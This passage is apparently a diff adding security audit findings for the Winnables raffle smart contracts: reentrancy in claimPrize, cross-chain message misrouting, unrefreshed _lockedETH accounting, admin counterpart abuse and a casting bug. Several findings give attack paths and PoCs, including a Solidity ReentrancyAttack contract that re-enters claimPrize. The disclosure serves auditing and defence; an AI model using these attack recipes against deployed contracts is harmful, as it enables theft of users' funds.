abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +``` + +In WinnablesTickerManager::propagateRaffleWinner: +```solidity + + + function propagateRaffleWinner(uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + + _sendCCIPMessage(PRIZE_MANAGER, PRIZE_MANAGER_CHAIN_SELECTOR, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; + } + } + +``` + +We should note that WinnablesPrizeManager.sol also sends CCIP messages for locking tokens, ETH and NFTs. Although these calls are protected by admin access, they also allow arbitrary addresses and chain selectors, meaning admins may make mistakes that break the protocol. + +I recommend to adopt the same strategy and store these values in contract variables. \ No newline at end of file diff --git a/001/061.md b/001/061.md new file mode 100644 index 0000000..6660420 --- /dev/null +++ b/001/061.md @@ -0,0 +1,37 @@ +Tall Brown Goose + +Medium + +# Less than contract token balance can not be withdrawn from WinnablesTicketManager + +## Summary + +Faulty check in `WinnablesTicketManager.sol` contract prevents admin from withdrawing less than the token balance of the contract from the contract itself. + +## Vulnerability Detail + +There is a wrongly written if statement in `withdrawTokens` that prevents the `amount` argument to be less than the token balance of the contract. + +## Impact + +One scenario that would cause inconvenience is that the admin would want to withdraw `LINK` tokens from the contract. This breaks the contest assumption of always keeping enough `LINK` on the contract to pay for cross-chain call fees. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L295C1-L295C60 + +## Tool used + +Manual Review + +## Recommendation + +Change snippet to: +```solidity +function withdrawTokens(address tokenAddress, uint256 amount) external onlyRole(0) { + IERC20 token = IERC20(tokenAddress); + uint256 balance = token.balanceOf(address(this)); + if (amount > balance) revert InsufficientBalance(); //@audit + token.safeTransfer(msg.sender, amount); +} +``` \ No newline at end of file diff --git a/001/062.md b/001/062.md new file mode 100644 index 0000000..261c281 --- /dev/null +++ b/001/062.md @@ -0,0 +1,67 @@ +Mammoth Stone Grasshopper + +High + +# Admin can prevent users from getting their prizes by using a malicious CCIP counterpart to unlock locked prize assets + +### Summary + +The `WinnablesPrizeManager::_ccipReceive` function is responsible for unlocking prizes so they can be sent to the raffle winners. This function ensures that only messages from [valid CCIP counterparts](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L265) are processed. However, the admin has the ability to add new CCIP counterparts using the [`WinnablesPrizeManager::setCCIPCounterpart`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L134) function. This means that a malicious or compromised admin could deploy a fraudulent CCIP counterpart and use it to send messages that unlock prizes without the raffle being canceled or fulfilled, allowing them to manipulate the prize distribution process. This would go against the protocol's design choice that "Winnables admins cannot do anything to prevent a winner from withdrawing their prize". + +### Root Cause + +The root cause of this vulnerability is the unchecked power of the admin to add new CCIP counterparts, with the unchecked power of CCIP counterparts to unlock prizes: +1. The admin can add any address as a valid CCIP counterpart. +2. Any CCIP can unlock the raffle prizes. + +### Internal pre-conditions + +There must be some locked prize in the contract. +The admin must add a new CCIP counterpart. + +### External pre-conditions + +The admin must deploy a malicious CCIP counterpart and use it to send a message to the `WinnablesPrizeManager` contract unlocking a locked prize. + +### Attack Path + +1. The admin deploys a malicious CCIP counterpart contract. +2. The admin uses `WinnablesPrizeManager::setCCIPCounterpart` to add this malicious contract as a valid CCIP counterpart. +3. The malicious contract sends a message via CCIP that triggers the `WinnablesPrizeManager::_ccipReceive` function, also triggering the unlocking of a prize. This can be done in two ways: +3.1 The malicious CCIP counterpart contract can deploy a message informing that the raffle was canceled. +3.2 The malicious CCIP counterpart contract can deploy a message informing that the raffle winner is any address controled by the admin. +4. The prize is unlocked and can be transferred out via any of the withdrawal methods in the contract, bypassing the normal conditions of raffle cancellation or fulfillment. + +### Impact + +The impact of this vulnerability is critical, as it allows the admin to unlock and potentially misappropriate prizes without following the intended raffle process. This undermines the integrity of the raffle system. + +### PoC + +The test below, already in the [project's test suite](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/test/PrizeManager.js#L293), shows that a newly added CCIP Counterpart can unlock tokens: + +```javascript +it('Can unlock the tokens with a cancel message', async () => { + await (await manager.setCCIPCounterpart(counterpartContractAddress, 1, true)).wait(); + const tx = await whileImpersonating(ccipRouter.address, ethers.provider, async (signer) => + manager.connect(signer).ccipReceive({ + messageId: ethers.constants.HashZero, + sourceChainSelector: 1, + sender: '0x' + counterpartContractAddress.slice(-40).padStart(64, '0'), + data: '0x000000000000000000000000000000000000000000000000000000000000000001', + destTokenAmounts: [] + }) + ); + const { events } = await tx.wait(); + expect(events).to.have.lengthOf(1); + expect(events[0].event).to.eq('PrizeUnlocked'); + const prize = await manager.getRaffle(1); + expect(prize.raffleType).to.eq(1); + expect(prize.status).to.eq(2); + expect(prize.winner).to.eq(ethers.constants.AddressZero); + }); +``` + +### Mitigation + +This issue can be mitigated by setting the CCIP counterparts in the contract's constructor and not allowing for it to be changed. \ No newline at end of file diff --git a/001/063.md b/001/063.md new file mode 100644 index 0000000..678e819 --- /dev/null +++ b/001/063.md @@ -0,0 +1,63 @@ +Mammoth Stone Grasshopper + +High + +# Admin can prevent users from getting their prizes by using a malicious CCIP counterpart to start a raffle without a locked prize + +### Summary + +The `WinnablesTicketManager::_ccipReceive` function is responsible for allowing the admin to start a raffle after they lock an asset as the raffle prize. This function ensures that only messages from [valid CCIP counterparts](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L370) are processed. However, the admin has the ability to add new CCIP counterparts using the [`WinnablesTicketManager::setCCIPCounterpart`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L238) function. This means that a malicious or compromised admin could deploy a fraudulent CCIP counterpart and use it to send messages that allow for a raffle to be started without an actual prize being locked. + +### Root Cause + +The root cause of this vulnerability is the unchecked power of the admin to add new CCIP counterparts, with the unchecked power of CCIP counterparts to allow the creation of a raffle: +1. The admin can add any address as a valid CCIP counterpart. +2. Any CCIP can allow the creation of a raffle. + +### Internal pre-conditions + +The admin must add a new CCIP counterpart. +The admin must start a raffle without locking an asset as a prize. + +### External pre-conditions + +The admin must deploy a malicious CCIP counterpart and use it to send a message to the `WinnablesTicketManager` contract allowing the creation of a raffle. + +### Attack Path + +1. The admin deploys a malicious CCIP counterpart contract. +2. The admin uses `WinnablesTicketManager::setCCIPCounterpart` to add this malicious contract as a valid CCIP counterpart. +3. The malicious contract sends a message via CCIP that triggers the `WinnablesTicketManager::_ccipReceive` function, also triggering the start of a raffle. +4. The raffle will be created and users will be able to buy tickets for the raffle, which, in the end, will send the entrance fees to the contract but will not send the prize to the winner. + +### Impact + +The contract will be able to get the raffle fees without sending a raffle prize to the winner. + +### PoC + +The test below, already in the [project's test suite](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/test/TicketManager.js#L127), shows that a newly added CCIP Counterpart can notify the locking of a prize: + +```javascript + it('Should notify when the prize is locked', async () => { + await (await manager.setCCIPCounterpart(counterpartContractAddress, 1, true)).wait(); + const tx = await whileImpersonating(ccipRouter.address, ethers.provider, async (signer) => + manager.connect(signer).ccipReceive({ + messageId: ethers.constants.HashZero, + sourceChainSelector: 1, + sender: '0x' + counterpartContractAddress.slice(-40).padStart(64, '0'), + data: '0x0000000000000000000000000000000000000000000000000000000000000001', + destTokenAmounts: [] + }) + ); + const { events } = await tx.wait(); + expect(events).to.have.lengthOf(1); + expect(events[0].event).to.eq('RafflePrizeLocked'); + const { raffleId } = events[0].args; + expect(raffleId).to.eq(1); + }); +``` + +### Mitigation + +This issue can be mitigated by setting the CCIP counterparts in the contract's constructor and not allowing for it to be changed. \ No newline at end of file diff --git a/001/064.md b/001/064.md new file mode 100644 index 0000000..4e87d50 --- /dev/null +++ b/001/064.md @@ -0,0 +1,117 @@ +Merry Sepia Whale + +High + +# Attacker can lock up canceled raffle's prize in the Prize Manager + +## Summary +An attacker can lockup the prize of a canceled raffle in the Prize Manager even though the raffle has now refunded all users who participated in it by inputting wrong `prizeManager` or `chainSelector` in the `cancelRaffle` function of the `WinnablesTicketManager` contract. + +## Vulnerability Detail +```solidity +// @audit attacker can cause loss of locked fund in prize manager +function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + _checkShouldCancel(raffleId); + + _raffles[raffleId].status = RaffleStatus.CANCELED; + _sendCCIPMessage( + prizeManager, + chainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +``` + +```solidity +function _ccipReceive( // @audit un-executed for the raffleId the contract on Avalanche intended to propagate to + Client.Any2EVMMessage memory message + ) internal override { + .... + + @> if (messageType == CCIPMessageType.RAFFLE_CANCELED) { // @audit will not happen and the locked funds will remain locked + raffleId = _decodeRaffleCanceledMessage(message.data); + _cancelRaffle(raffleId); + return; + } + ... + } +``` + +```solidity +function _cancelRaffle(uint256 raffleId) internal { + RaffleType raffleType = _rafflePrize[raffleId].raffleType; + + if (_rafflePrize[raffleId].status == RafflePrizeStatus.CANCELED) revert InvalidRaffle(); + + if (raffleType == RaffleType.NFT) { + ... + } else if (raffleType == RaffleType.TOKEN) { + ... + } else if (raffleType == RaffleType.ETH) { +@> unchecked { _ethLocked -= _ethRaffles[raffleId]; } // @audit e.g raffleId 2 locked price cannot be unlocked or recovered + } else revert InvalidRaffle(); + + _rafflePrize[raffleId].status = RafflePrizeStatus.CANCELED; + emit PrizeUnlocked(raffleId); + } +``` + +```solidity +function withdrawETH(uint256 amount) external onlyRole(0) { + uint256 balance = address(this).balance; + uint256 availableBalance; +@> unchecked { availableBalance = balance - _ethLocked; } // @audit remains locked + if (availableBalance < amount) revert InsufficientBalance(); + (bool success,) = msg.sender.call{ value: amount }(""); + if (!success) revert ETHTransferFail(); + } +``` + +Attack steps: + +1. Suppose `prizeManager` on Ethereum chain is address `0x1edA3ff69FC5E50CEBECe4946BE741825E443D21` +2. And suppose `chainSelector` on Ethereum chain is `16015286601757825753` +3. Also, the address of the `WinnablesTicketManager` contract on Avalanche is `0x2e521497bf560762c24193BCE88F859aedfB366a` +4. The proper arguments that guarantee delivery of the message propagated from Avalance to Ethereum mainnet is to set `prizeManager = 0x1edA3ff69FC5E50CEBECe4946BE741825E443D21`, `chainSelector = 16015286601757825753`. +5. What the attacker does instead is specify the `WinnablesTicketManager` address as the address to propagate to e.g `prizeManager = 0x2e521497bf560762c24193BCE88F859aedfB366a`, `chainSelector = 16015286601757825753` +6. Or they could just set the `chainSelector` to another chain's selector e.g one on Base `10344971235874465080` while setting the `prizeManager = 0x1edA3ff69FC5E50CEBECe4946BE741825E443D21` as the correct one on Ethereum +7. What happens is that the message will be sent but it will not be delivered on Ethereum because the chainSelector does not match or the address the attacker specified as the `raffleManager` does not implement the `_ccipReceive` function on Ethereum mainnet and not the right `prizeManager` contract +8. Hence, the raffle's prize will remain locked in the prize manager contract on Ethereum because the ticket manager contract on Avalanche sent an undelivered message and already marked the state for the raffle as `CANCELED` which cannot be re-initiated/canceled. + +## Impact +Loss of the canceled raffle's prize in the `WinnablesPrizeManager` contract on Ethereum mainnet. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278-L288 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L270-L274 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L290 + +## Tool used +Manual Review + +## Recommendation +Whitelist the allowed `prizeManager` and `chainSelector` values and only send the messages using those parameters getting rid of the arguments in the `cancelRaffle` function e.g: + +```diff ++ address public prizeManager; ++ uint64 chainSelector; + ++ function setMessageParams(address _prizeManager, uint64 _chainSelector) external onlyRole(0) { ++ prizeManager = _prizeManager; ++ chainSelector = _chainSelector; ++ } + ++ function cancelRaffle(uint256 raffleId) external { +- function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + _checkShouldCancel(raffleId); + + _raffles[raffleId].status = RaffleStatus.CANCELED; + _sendCCIPMessage( + prizeManager, + chainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +``` \ No newline at end of file diff --git a/001/065.md b/001/065.md new file mode 100644 index 0000000..388752e --- /dev/null +++ b/001/065.md @@ -0,0 +1,88 @@ +Shiny Peach Crocodile + +Medium + +# Reentrancy and underflow vulnerabilities in `WinnablesPrizeManager::claimPrize`, leading to loss of funds + +### Summary + +Missing CEI / Reentrancy guard checks in `WinnablesPrizeManager::claimPrize` could lead to a reentrancy attack, which allows an attacker to reenter the function and claim the same prize multiple times. This vulnerability can also lead to underflow issues in the contract’s accounting variables, causing incorrect and potentially exploitable state values. If exploited, these vulnerabilities can result in significant financial loss for the contract. + +### Root Cause + +1. The function updates the contract's state variables (such as `rafflePrize.status`) [**after**](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L121) making external calls to send prizes (NFTs, tokens, or Ether). +2. The use of `unchecked` arithmetic allows for the possibility of underflow (link to code [here](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L114) and [here](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L117)) if the function is reentered and the variables are decremented multiple times. + +### Internal pre-conditions + +- The contract must have a mapping or state variables managing the raffle’s prize information (`_rafflePrize`, `_nftRaffles`, `_tokenRaffles`, `_ethRaffles`). +- The state variables `_tokensLocked` or `_ethLocked` track the locked assets for the raffle. +- The prize status (`rafflePrize.status`) is initially set to an unclaimed state (e.g., `RafflePrizeStatus.UNCLAIMED`). + +### External pre-conditions + +- The attacker must be the winner of the raffle, allowing them to call the `claimPrize` function. +- The attacker must deploy a contract with a fallback or receive function capable of reentering the `claimPrize` function. +- The external call (e.g., sending Ether or tokens) must trigger this fallback or receive function, enabling the reentrancy. + +### Attack Path + +1. **Deploy Malicious Contract:** The attacker deploys a contract with a receive function that calls back into the `claimPrize` function on the vulnerable contract. + +2. **Call `claimPrize`:** The attacker calls the `claimPrize` function, triggering the transfer of a prize. + +3. **Reenter `claimPrize`:** The `fallback` or `receive` function in the malicious contract reenters the `claimPrize` function before the prize status is updated to CLAIMED. + +4. **Repeat:** The process repeats, allowing the attacker to claim the prize multiple times before the state is updated. + +5. **Underflow:** The repeated decrements of `_tokensLocked` or `_ethLocked` cause these variables to underflow, potentially leading to incorrect state values and further exploitation. + +### Impact + +- **Multiple Claims:** The attacker can claim the same prize multiple times, draining the contract of its assets. +- **Underflow:** The contract’s state variables can underflow, leading to incorrect values and distorted accounting. +- **Financial Loss:** The contract may lose more assets than it should, resulting in significant financial loss. + +### PoC + +1. Example of Malicious Contract: + +```solidity +interface IRaffle { + function claimPrize(uint256 raffleId) external; +} + +contract ReentrancyAttack { + IRaffle raffleContract; + uint256 targetRaffleId; + + constructor(address _raffleContract, uint256 _raffleId) { + raffleContract = IRaffle(_raffleContract); + targetRaffleId = _raffleId; + } + + // Fallback function to reenter the claimPrize function + receive() external payable { + // Reentering claimPrize function + raffleContract.claimPrize(targetRaffleId); + } + + function attack() external { + // Initiate the first claimPrize call + raffleContract.claimPrize(targetRaffleId); + } +} + +``` + +2. Attack Execution: +- Deploy the `ReentrancyAttack` contract with the address of the vulnerable raffle contract and the ID of the target raffle. +- Call the attack function on the `ReentrancyAttack` contract to initiate the first claim. +- The reentrancy occurs as the malicious contract’s `receive` function is triggered by the prize transfer, allowing multiple claims. + + +### Mitigation + +1. **State update before external calls:** Update the contract state (e.g., setting rafflePrize.status to CLAIMED) before making any external calls, such as transferring prizes. + +2. **Use ReentrancyGuard:** Implement OpenZeppelin’s ReentrancyGuard to prevent reentrancy by using a non-reentrant modifier. \ No newline at end of file diff --git a/001/066.md b/001/066.md new file mode 100644 index 0000000..5aaf7ea --- /dev/null +++ b/001/066.md @@ -0,0 +1,69 @@ +Breezy White Swallow + +High + +# `_lockedETH` is not decreased in `WinnablesTicketManager#refundPlayers` will cause loss of funds to the owner when withdrawing ticket sales + +### Summary + +`_lockedETH` is not decreased in `WinnablesTicketManager#refundPlayers` will cause loss of funds to the owner when withdrawing ticket sales. + +### Root Cause + +In `WinnablesTicketManager#refundPlayers:215` `_lockedETH` is not decreased. + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L215 + +### Internal pre-conditions + +1. There is a cancelled raffle. There is at least one player is refunded. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. The raffle with `raffleId = 1` was raised `1000` native tokens in total. Due to total ticket sales not over `raffle.minTicketsThreshold` before `raffle.endsAt`, the raffle was cancelled by calling `cancelRaffle`. Current state: + - `_lockedETH = 1000` + - `address(this).balance = 1000` +2. All the ticket sales of the raffle with `raffleId = 1` are refunded to the players by calling `refundPlayers`. Current state: + - `_lockedETH = 1000` + - `address(this).balance = 0` +3. The raffle with `raffleId = 2` was raised `4000` native tokens in total. The raffle is eligible to call `drawWinner`. Current state: + - `_lockedETH = 5000` + - `address(this).balance = 4000` +4. `propagateRaffleWinner` is called for the raffle with `raffleId = 2`. Current state: + - `_lockedETH = 1000` + - `address(this).balance = 4000` +5. The owner withdraw ticket sales for the raffle with `raffleId = 2` by calling `withdrawETH`. The amount of native tokens are sent to the owner `address(this).balance - _lockedETH = 4000 - 1000 = 3000`. The owner can withdraw only `3000` native tokens, when it is supposed for the owner to withdraw `4000` native tokens for ticket sales. There is a loss of `1000` native tokens to the owner. + +### Impact + +`_lockedETH` is wrongly accounted, which will prevent the owner from using `withdrawETH` to withdraw ticket sales correctly. This will cause loss of funds for the owner. + +### PoC + +_No response_ + +### Mitigation + +Decrease `_lockedETH` in `refundPlayers` + +```diff + function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); ++ _lockedETH -= amountToSend; + _sendETH(amountToSend, player); + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { ++i; } + } + } +``` \ No newline at end of file diff --git a/001/067.md b/001/067.md new file mode 100644 index 0000000..f8deef1 --- /dev/null +++ b/001/067.md @@ -0,0 +1,58 @@ +Main Lava Chimpanzee + +High + +# Raffle winners able to claim more eth using reentrancy + +## Summary +Raffle winners claims their prize using their Raffle ID. The problem arise when claiming Ether as prize. +## Vulnerability Detail +The implementation does not follow the Check-Effect-Interact allowing reentrancy to steal all ether in this contract. +```solidity + function claimPrize(uint256 raffleId) external { + -- SNIP -- + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; + + -- SNIP -- +``` +## Impact +Winners able to perform reentrancy and drain this contract. +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesPrizeManager.sol#L118 +## Tool used + +Manual Review + +## Recommendation +Implement Check-Effect-Interact pattern +```diff + function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; ++ if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); ++ if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); ++ rafflePrize.status = RafflePrizeStatus.CLAIMED; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); +- if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); +- if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); +- rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } +``` \ No newline at end of file diff --git a/001/069.md b/001/069.md new file mode 100644 index 0000000..2eabc5b --- /dev/null +++ b/001/069.md @@ -0,0 +1,46 @@ +Young Banana Gecko + +Medium + +# any player from the list of refunded players can make the refundPlayers function revert + +## Summary +Any player from the list of players can make the `refundPlayers` revert + +## Vulnerability Detail +`WinnablesTicketManager.sol::refundPlayers` loops over the players array and refunds ETH. If any of the players don't accept the refunded ETH (e.g revert on receive function) the entire `refundPlayers` will revert and other players won't be able to get their ETH + +## Impact +Players won't be refunded +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L224 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L482 + +## Code Snippet +```solidity + function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); + @> _sendETH(amountToSend, player); + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { ++i; } + } + } +``` +```solidity + function _sendETH(uint256 amount, address to) internal { + if (amount == 0) revert NothingToSend(); + (bool success, ) = to.call{ value: amount }(""); + if (!success) revert ETHTransferFail(); + } +``` +## Tool used + +Manual Review + +## Recommendation \ No newline at end of file diff --git a/001/071.md b/001/071.md new file mode 100644 index 0000000..c4b9617 --- /dev/null +++ b/001/071.md @@ -0,0 +1,91 @@ +Blunt Mulberry Wombat + +High + +# Failure to update `_lockedETH` during refunds causes inaccurate revenue withdrawals + +## Summary +The `_lockedETH` variable is not updated during refunds, leading to an inflated value that prevents admins from correctly withdrawing future sales revenue. + +## Vulnerability Detail +The `_lockedETH` variable represents the amount of ETH locked in the contract [due to ticket purchases](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L206). It is used to ensure that the ETH associated with current unfinished raffles is not included in the sales revenue of past raffles during withdrawals: +```solidity +/// @notice (Admin) Withdraw ETH from a canceled raffle or ticket sales +function withdrawETH() external onlyRole(0) { + uint256 balance; + unchecked { + balance = address(this).balance - _lockedETH; + } + _sendETH(balance, msg.sender); +} +``` +However, the `_lockedETH` value is not updated when a refund occurs due to raffle cancellation: +```solidity +function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); + _sendETH(amountToSend, player); + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { ++i; } + } +} +``` +As seen above, when a refund occurs, the `_lockedETH` amount is not decremented. This leads to an inflated `_lockedETH` value, preventing the admin from withdrawing future sales revenue equal to the excess amount in `_lockedETH`. Consider the following example: +1. Raffle 1 is created with a minimum tickets threshold of `400`. +2. Buyer 1 purchases `100` tickets for `0.5 ETH`, and Buyer 2 purchases `150` tickets for `0.75 ETH`. +3. The raffle period ends without reaching the minimum tickets threshold (only 250 tickets are sold), leading to the raffle's cancellation. +4. Both Buyer 1 and Buyer 2 are refunded via `refundPlayers(1, [buyer1.address, buyer2.address])`. Note that during this transaction, `_lockedETH` is NOT updated. +5. Depending on subsequent scenarios: + 5.1 If a new raffle is created and successfully ends with sales revenue greater than `_lockedETH`, say for example `1 ETH`, the admin attempts to withdraw the `1 ETH`. However, only `0.25 ETH` will be withdrawn: + ```solidity + function withdrawETH() external onlyRole(0) { + uint256 balance; + unchecked { + balance = address(this).balance - _lockedETH; // @audit balance = 1 ETH - 0.75 ETH = 0.25 ETH + } + _sendETH(balance, msg.sender); + } + ``` + 5.2 If a new raffle is created and successfully ends with sales revenue less than `_lockedETH`say for example `0.5 ETH`, the admin's withdrawal attempt will result in an underflow, causing the withdrawal to revert because the contract does not hold sufficient balance: + ```solidity + function withdrawETH() external onlyRole(0) { + uint256 balance; + unchecked { + >>> balance = address(this).balance - _lockedETH; // @audit Underflow: 0.5 ETH - 0.75 ETH + } + _sendETH(balance, msg.sender); + } + ``` +## Impact +Admins will be unable to withdraw the correct sales revenue, leading to financial loss. +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L215-L228 +## Tool used + +Manual Review + +## Recommendation +Update `_lockedETH` during the refund process. Below is a suggested modification to the `refundPlayers` function: +```diff +function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); + _sendETH(amountToSend, player); ++ _lockedETH -= amountToSend; + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { ++i; } + } +} +``` \ No newline at end of file diff --git a/001/072.md b/001/072.md new file mode 100644 index 0000000..f0ae145 --- /dev/null +++ b/001/072.md @@ -0,0 +1,86 @@ +Shaggy Ultraviolet Parakeet + +Medium + +# Incorrect casting in `BaseCCIPContract::_packCCIPContract()` + +### Summary + +The style of casting the `chainSelector` is incorrect hence it will evaluate to zero and not form part of the bytes returned. + +### Root Cause + +In [`BaseCCIPContract::_packCCIPContract()`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPContract.sol#L40), the [`chainSelector()`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPContract.sol#L43) was casted to uint256 after the bitwise operation which is not supposed to be so + +### Internal pre-conditions + +whenever the function params are set it will occur + +### External pre-conditions + +There are no preconditions, anytime it is called by another function it will occur. + +### Attack Path + +This is an internal casting error so whenever another function calls `BaseCCIPContract::_packCCIPContract()` it will occur. + +### Impact + +The `_packCCIPContract()` returns an incorrect value since the `chainSelector` will not be part of the encoded bytes. + +### PoC + +Code with the casting error +```solidity + function _packCCIPContract(address contractAddress, uint64 chainSelector) internal pure returns(bytes32) { return bytes32( + uint256(uint160(contractAddress)) | uint256(chainSelector << 160)); + } +``` + +these are the test results after supplying it with random values +```solidity +[PASS] test() (gas: 5678) +Traces: + [5678] returnTest::test_packCCIPContract() + ├─ [427] BitwiseOperations::_packCCIPContract(returnTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 43114 [4.311e4]) [staticcall] + │ └─ ← [Return] 0x0000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e1496 + └─ ← [Stop] + +Suite result: ok. 1 passed; +``` +we can observe that the test passed but only the address has been encoded + +code with the right casting style +```solidity + function CCIP(address contractAddress, uint64 chainSelector) public pure returns(bytes32) { + return bytes32( + uint256(uint160(contractAddress)) | + (uint256(chainSelector) << 160) + ); + } +``` + +these are the test results +```solidity +[PASS] testCCIP() (gas: 5705) +Traces: + [5705] returnTest::test_packCCIPContract() + ├─ [454] BitwiseOperations::_packCCIPContract(returnTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 43114 [4.311e4]) [staticcall] + │ └─ ← [Return] 0x00000000000000000000a86a7fa9385be102ac3eac297483dd6233d62b3e1496 + └─ ← [Stop] + +Suite result: 